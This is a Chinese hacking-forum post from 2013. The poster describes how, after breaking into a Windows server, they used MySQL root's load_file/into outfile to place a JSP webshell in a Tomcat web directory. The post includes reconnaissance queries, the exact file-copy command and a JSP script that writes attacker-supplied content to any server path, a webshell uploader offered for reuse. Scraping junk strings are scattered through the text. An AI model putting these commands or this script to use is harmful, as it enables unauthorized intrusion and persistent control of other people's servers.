找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2478|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。% G5 ~" Q. r* g+ C

5 h( z( R0 {6 G: C! x9 p首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php7 A1 {- h7 e; i8 t5 B; O4 s
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
2 e9 @7 Q* @# O# o5 ^* q' M提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了  d9 ~. G) g, I# k5 k
1 show variables like '%plugin%';* _+ @$ a: u. r8 R
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功2 Q$ `8 x) Q( o/ X& ^3 f6 U
创建自定义函数似乎被拦截,一直失败。
3 S3 v/ W# N1 |: q后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限: m( K- I6 q9 t' X
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
8 P% Z' X) a3 a* u8 f用mysql执行语句:
+ k+ {# D9 \, F* N/ ?1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'( p4 A. F: R% q: l/ X8 Z
2 复制代码
0 j1 K: z- x0 i* V后成功。4 s" |- G5 [0 ~, v0 F
但是访问后得到如下提示:, e. v. [% M. S
​500页面
: b1 m; \- }0 k1 f- w# ^6 x, Z/ c, f; W7 P$ @& i9 K

4 z. U. \" G# M8 m4 W明显是MySQL的Win下版本自动添加转义符\n\r了
+ {& n8 O4 h' a% B' p+ a  j) O, w这样导致程序运行的悲剧。
/ _, W* [/ t. ?8 T- d从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。3 L7 W8 E4 Q  V% w+ X
最后弄了这么个小脚本:1 ?7 t( N. z+ |$ L/ i% A: a
01 <%@ page language="java" pageEncoding="gbk"%>" W$ K7 k+ c2 j- s. L* r0 V8 `
02 <jsp:directive.page import="java.io.File"/>
; V, d3 c; ]6 ^03 <jsp:directive.page import="java.io.OutputStream"/>9 L- s' d0 s# O: S3 D
04 <jsp:directive.page import="java.io.FileOutputStream"/>5 E" I  a' j/ v" y: ]8 d
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>- i  D, O) r9 H% D# z* _
06 error www.2cto.com- q8 F8 L2 _" i8 i3 g$ I# V
07 <%}}if(i==0){%>
% r2 P. `2 V. B  @  R08 ok/ i/ Z+ x4 l. _) d& I8 Z9 h, {7 w
09 <%}%>7 w) T2 @' l7 J) b/ t# N6 H6 ~
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">( X2 G3 Y) B5 V. Z0 ?$ A
就可以避免转义符让JSP的马儿运行500错误了。' p& I% `6 [6 [9 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表